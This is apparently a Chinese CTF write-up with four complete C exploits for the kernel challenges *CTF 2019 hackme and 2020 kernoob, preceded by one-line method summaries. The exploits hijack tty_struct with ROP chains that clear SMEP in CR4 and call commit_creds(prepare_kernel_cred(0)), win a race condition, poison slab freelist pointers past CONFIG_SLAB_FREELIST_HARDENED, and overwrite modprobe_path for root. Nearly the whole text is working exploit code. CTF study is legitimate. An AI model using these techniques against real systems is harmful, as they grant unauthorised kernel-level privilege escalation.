前言
最近基本都在玩,偶尔看看CTF,就贴两个可以用内核堆机制(slab/slub分配机制)来做的题,顺便也贴一下用其他方法做的版本。
*CTF 2019 hackme
方法一:
劫持tty_struct,走ROP链绕过SMEP,并将gadget写到内核堆上,绕过SMAP。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
int fd, fd2;
size_t kernel_base, heap_addr;
size_t prepare_kernel_cred_addr, commit_creds_addr;
struct stu
{
size_t index;
size_t *user_buf;
size_t len;
size_t offset;
}heap;
size_t tty_struct[0x410] = {0}, rop[0x30] = {0};
size_t *fake_ops[0x30] = {0};
void get_root()
{
// commit_creds(prepare_kernel_cred(0))
char *(*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char *) = commit_creds_addr;
(*cc)((*pkc)(0));
}
void get_shell()
{
system("/bin/sh");
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags),"=r"(user_sp)
:
: "memory"
);
}
void add(size_t idx, size_t size, size_t *buf)
{
heap.index = idx;
heap.len = size;
heap.user_buf = buf;
ioctl(fd, 0x30000, &heap);
}
void delete(size_t idx)
{
heap.index = idx;
ioctl(fd, 0x30001, &heap);
}
void edit(size_t idx, size_t pos, size_t size, size_t *buf)
{
heap.index = idx;
heap.offset = pos;
heap.len = size;
heap.user_buf = buf;
ioctl(fd, 0x30002, &heap);
}
void show(size_t idx, size_t pos, size_t size, size_t *buf)
{
heap.index = idx;
heap.offset = pos;
heap.len = size;
heap.user_buf = buf;
ioctl(fd, 0x30003, &heap);
}
int main()
{
save_status();
fd = open("/dev/hackme", 0);
size_t buf[0x200];
add(0, 0x100, buf);
show(0, -0x200, 0x200, buf);
kernel_base = buf[0] - 0x8472c0;
printf("kernel_base: %p\n", kernel_base);
prepare_kernel_cred_addr = kernel_base + 0x4d3d0;
printf("prepare_kernel_cred_addr: %p\n", prepare_kernel_cred_addr);
commit_creds_addr = kernel_base + 0x4d220;
printf("commit_creds_addr: %p\n", commit_creds_addr);
add(1, 0x100, buf);
add(2, 0x100, buf);
delete(0);
delete(1);
// 1 -> 0
show(2, -0x100, 0x100, buf);
heap_addr = buf[0]; // chunk 0
printf("heap_addr: %p\n", heap_addr);
size_t push_rax_pop_rsp_addr = kernel_base + 0x608d5; //push rax ; pop rsp ; cmp qword ptr [rdi + 8], rdx ; jae 0xffffffff810608e8 ; ret
fake_ops[7] = push_rax_pop_rsp_addr; // write ( rax: &fake_ops[0] )
size_t pop_rsp_addr = kernel_base + 0x484f0; // pop rsp; ret;
fake_ops[0] = pop_rsp_addr;
fake_ops[1] = heap_addr + 0x100;
edit(2, -0x200, 0x200, fake_ops);
int cnt = 0;
size_t pop_rax_addr = kernel_base + 0x1b5a1; // pop rax; ret;
rop[cnt++] = pop_rax_addr;
rop[cnt++] = 0x6f0; // cr4 with smep disabled
size_t mov_cr4_rax_addr = kernel_base + 0x252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;
rop[cnt++] = mov_cr4_rax_addr;
rop[cnt++] = 0; // rbp
rop[cnt++] = (size_t)get_root;
size_t swapgs_addr = kernel_base + 0x200c2e; // swapgs; popfq; pop rbp; ret;
rop[cnt++] = swapgs_addr;
rop[cnt++] = 0; // popfq
rop[cnt++] = 0; // rbp
size_t iretq_addr = kernel_base + 0x19356; // iretq; pop rbp; ret;
rop[cnt++] = iretq_addr;
rop[cnt++] = (size_t)get_shell;
rop[cnt++] = user_cs;
rop[cnt++] = user_rflags;
rop[cnt++] = user_sp;
rop[cnt++] = user_ss;
edit(2, -0x100, 0x100, rop);
add(3, 0x2e0, buf); // 0x400
add(4, 0x2e0, buf);
delete(3);
fd2 = open("/dev/ptmx", O_RDWR | O_NOCTTY);
printf("%d\n", fd2);
show(4, -0x400, 0x400, tty_struct);
tty_struct[3] = heap_addr;
edit(4, -0x400, 0x400, tty_struct);
write(fd2, "attack", 6); // trigger
return 0;
}
方法二:
通过控制堆的next指针,进行任意地址分配,修改modprode_path,得到权限get flag。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
int fd;
size_t kernel_base, mod_tree_addr, modprobe_path_addr;
size_t driver_base, pool_addr;
struct stu
{
size_t index;
size_t *user_buf;
size_t len;
size_t offset;
}heap;
void gen_test()
{
puts("[+] Prepare chmod file.");
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
puts("[+] Prepare trigger file.");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/winmt");
system("chmod +x /home/pwn/winmt");
}
void add(size_t idx, size_t size, size_t *buf)
{
heap.index = idx;
heap.len = size;
heap.user_buf = buf;
ioctl(fd, 0x30000, &heap);
}
void delete(size_t idx)
{
heap.index = idx;
ioctl(fd, 0x30001, &heap);
}
void edit(size_t idx, size_t pos, size_t size, size_t *buf)
{
heap.index = idx;
heap.offset = pos;
heap.len = size;
heap.user_buf = buf;
ioctl(fd, 0x30002, &heap);
}
void show(size_t idx, size_t pos, size_t size, size_t *buf)
{
heap.index = idx;
heap.offset = pos;
heap.len = size;
heap.user_buf = buf;
ioctl(fd, 0x30003, &heap);
}
int main()
{
gen_test();
fd = open("/dev/hackme", 0);
size_t buf[0x200];
add(0, 0x100, buf);
show(0, -0x200, 0x200, buf);
kernel_base = buf[0] - 0x8472c0;
printf("kernel_base: %p\n", kernel_base);
mod_tree_addr = kernel_base + 0x811000;
printf("mod_tree_addr: %p\n", mod_tree_addr);
modprobe_path_addr = kernel_base + 0x83f960;
printf("modprobe_path_addr: %p\n", modprobe_path_addr);
add(1, 0x100, buf);
add(2, 0x100, buf);
delete(0);
delete(1);
// 1 -> 0 => mod_tree_addr + 0x30
buf[0] = mod_tree_addr + 0x30;
edit(2, -0x100, 0x100, buf);
add(3, 0x100, buf); // 1
add(4, 0x100, buf); // mod_tree_addr + 0x30
show(4, -0x20, 0x20, buf);
driver_base = buf[0] - 0x2338;
printf("driver_base: %p\n", driver_base);
pool_addr = driver_base + 0x2400;
printf("pool_addr: %p\n", pool_addr);
add(5, 0x100, buf);
add(6, 0x100, buf);
add(7, 0x100, buf);
delete(5);
delete(6);
// 6 -> 5
buf[0] = pool_addr + 0xa0;
edit(7, -0x100, 0x100, buf);
add(8, 0x100, buf); // 6
add(9, 0x100, buf); // pool[index_10]
buf[0] = modprobe_path_addr;
buf[1] = 0x100;
edit(9, 0, 0x10, buf);
char *path = "/home/pwn/copy.sh\x00";
edit(10, 0, 18, path);
system("cat /proc/sys/kernel/modprobe");
return 0;
}
2020 高校战“疫”网络安全分享赛 kernoob
方法一:
条件竞争,劫持tty_struct,走ROP链绕过SMEP。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
size_t prepare_kernel_cred_addr = 0xffffffff810ad7e0;
size_t commit_creds_addr = 0xffffffff810ad430;
int sign = 1;
size_t tty_struct[5] = {0}, rop[30] = {0};
size_t *fake_ops[30] = {0};
struct Chunks
{
uint64_t index;
char *buf;
uint64_t size;
}chunk;
void get_root()
{
// commit_creds(prepare_kernel_cred(0))
char *(*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char *) = commit_creds_addr;
(*cc)((*pkc)(0));
}
void get_shell()
{
system("/bin/sh");
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags),"=r"(user_sp)
:
: "memory"
);
}
void change_size(struct Chunks *chunk)
{
while(sign)
{
chunk -> size = 0x2e0;
}
}
int main()
{
save_status();
int fd = open("/dev/noob", O_RDWR);
chunk.index = 0;
chunk.size = 0;
pthread_t malicious_thread;
pthread_create(&malicious_thread, NULL, change_size, &chunk);
while(1)
{
chunk.size = 0;
if(ioctl(fd, 0x30000, &chunk) == 0) break;
}
sign = 0;
pthread_join(malicious_thread, NULL);
chunk.index = 0;
chunk.size = 0x2e0;
ioctl(fd, 0x30001, &chunk);
int fd2 = open("/dev/ptmx", O_RDWR | O_NOCTTY);
chunk.index = 0;
chunk.buf = (size_t)tty_struct;
chunk.size = 0x20;
ioctl(fd, 0x30003, &chunk);
size_t xchg_eax_esp_addr = 0xffffffff8101db17; // xchg eax, esp; ret;
fake_ops[12] = xchg_eax_esp_addr; // ioctl rax
tty_struct[3] = (size_t)fake_ops;
ioctl(fd, 0x30002, &chunk);
size_t esp_addr = xchg_eax_esp_addr & 0xffffffff;
size_t base_addr = esp_addr & ~0xfff;
mmap(base_addr, 0x1000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
int cnt = 0;
size_t pop_rdi_addr = 0xffffffff8107f460;
rop[cnt++] = pop_rdi_addr; // pop rdi; ret;
rop[cnt++] = 0x6f0; // cr4 with smep disabled
size_t mov_cr4_rdi_addr = 0xffffffff8101f2f0;
rop[cnt++] = mov_cr4_rdi_addr; // mov cr4, rdi; pop rbp; ret;
rop[cnt++] = 0; // rbp
rop[cnt++] = (size_t)get_root;
size_t swapgs_addr = 0xffffffff81069bd4;
rop[cnt++] = swapgs_addr; // swapgs; pop rbp; ret;
rop[cnt++] = 0; // rbp
size_t iretq_addr = 0xffffffff81034edb;
rop[cnt++] = iretq_addr; // iretq; pop rbp; ret;
rop[cnt++] = (size_t)get_shell;
rop[cnt++] = user_cs;
rop[cnt++] = user_rflags;
rop[cnt++] = user_sp;
rop[cnt++] = user_ss;
memcpy(esp_addr, rop, sizeof(rop));
ioctl(fd2, 0, 0); // call rax
return 0;
}
方法二:
劫持内核堆的next指针,任意地址分配到pool,并将存放的堆指针改为modprode_path的地址,就可以任意写了,注意要绕过CONFIG_SLAB_FREELIST_HARDENED防护。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
struct Chunks
{
uint64_t index;
char *buf;
uint64_t size;
}chunk, heap[5];
void gen_test()
{
puts("[+] Prepare chmod file.");
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
puts("[+] Prepare trigger file.");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/winmt");
system("chmod +x /home/pwn/winmt");
}
int main()
{
int fd = open("/dev/noob", O_RDWR);
// leak heap_addr
chunk.size = 0x60;
int cnt = 0;
size_t leak_data[0x100] = {0};
chunk.buf = (size_t)leak_data;
for(int i=0;i<0x18;i++)
{
chunk.index = i;
ioctl(fd, 0x30000, &chunk);
ioctl(fd, 0x30003, &chunk);
size_t ptr = leak_data[5];
// printf("%p\n", ptr);
if((ptr >> 40) == 0xffff88)
{
heap[cnt].index = i;
heap[cnt].buf = ptr - 0x28;
heap[cnt].size = 0x60;
cnt++;
if(cnt == 2) break;
}
}
for(int i=0;i<2;i++) printf("num: %d ptr: %p\n", heap[i].index, heap[i].buf);
// chunk1 -> chunk0
chunk.index = heap[0].index;
ioctl(fd, 0x30001, &chunk);
chunk.index = heap[1].index;
ioctl(fd, 0x30001, &chunk);
// chunk0's fd = chunk0's addr ^ random ^ 0
chunk.index = heap[0].index;
ioctl(fd, 0x30003, &chunk);
size_t random;
random = leak_data[0] ^ (size_t)heap[0].buf;
printf("random: %p\n", random);
size_t driver_base = 0xffffffffc0002000;
size_t magic_addr = (random ^ driver_base) >> 32;
mmap((magic_addr & 0xfffff000), 0x1000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
// size_t magic_fd = magic_addr ^ random ^ (size_t)heap[0].buf;
size_t magic_fd = magic_addr ^ random;
memcpy(magic_addr, &magic_fd, 8);
size_t pool_addr = 0xffffffffc00044c0;
size_t pool_19_addr = pool_addr + 0x19*8*2; // pool[0x19]
size_t fake_ptr = (pool_19_addr - 0x8/2) ^ random ^ (magic_addr << 32);
mmap((fake_ptr & 0xfffff000), 0x1000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
size_t fake_fd = fake_ptr ^ random;
memcpy(fake_ptr, &fake_fd, 8);
size_t fake_chunk1_fd = random ^ (size_t)heap[1].buf ^ magic_addr;
size_t fake_chunk0_fd = random ^ (size_t)heap[0].buf ^ (pool_19_addr - 0x8/2);
chunk.index = heap[1].index;
chunk.buf = &fake_chunk1_fd;
chunk.size = 8;
ioctl(fd, 0x30002, &chunk);
chunk.index = heap[0].index;
chunk.buf = &fake_chunk0_fd;
chunk.size = 8;
ioctl(fd, 0x30002, &chunk);
chunk.size = 0x60;
chunk.index = 0x18;
ioctl(fd, 0x30000, &chunk);
chunk.index = 0x19;
ioctl(fd, 0x30000, &chunk); // pool[0x19] = magic_addr 0xffffffffc0004650
chunk.index = 0x1a;
ioctl(fd, 0x30000, &chunk);
chunk.index = 0x1b;
ioctl(fd, 0x30000, &chunk); // pool[0x1b] = 0xffffffffc0004650 - 0x8/2
chunk.index = 0x1c;
ioctl(fd, 0x30000, &chunk);
size_t modprobe_path = 0xffffffff8245aba0;
chunk.index = 0x1b;
char overwrite[0x20];
memcpy(overwrite+4, &modprobe_path, 8);
chunk.buf = overwrite;
chunk.size = 12;
ioctl(fd, 0x30002, &chunk); // pool[0x19] = modprobe_path
chunk.index = 0x19;
char *path = "/home/pwn/copy.sh\x00";
chunk.buf = path;
chunk.size = 18;
ioctl(fd, 0x30002, &chunk);
system("cat /proc/sys/kernel/modprobe");
gen_test();
return 0;
}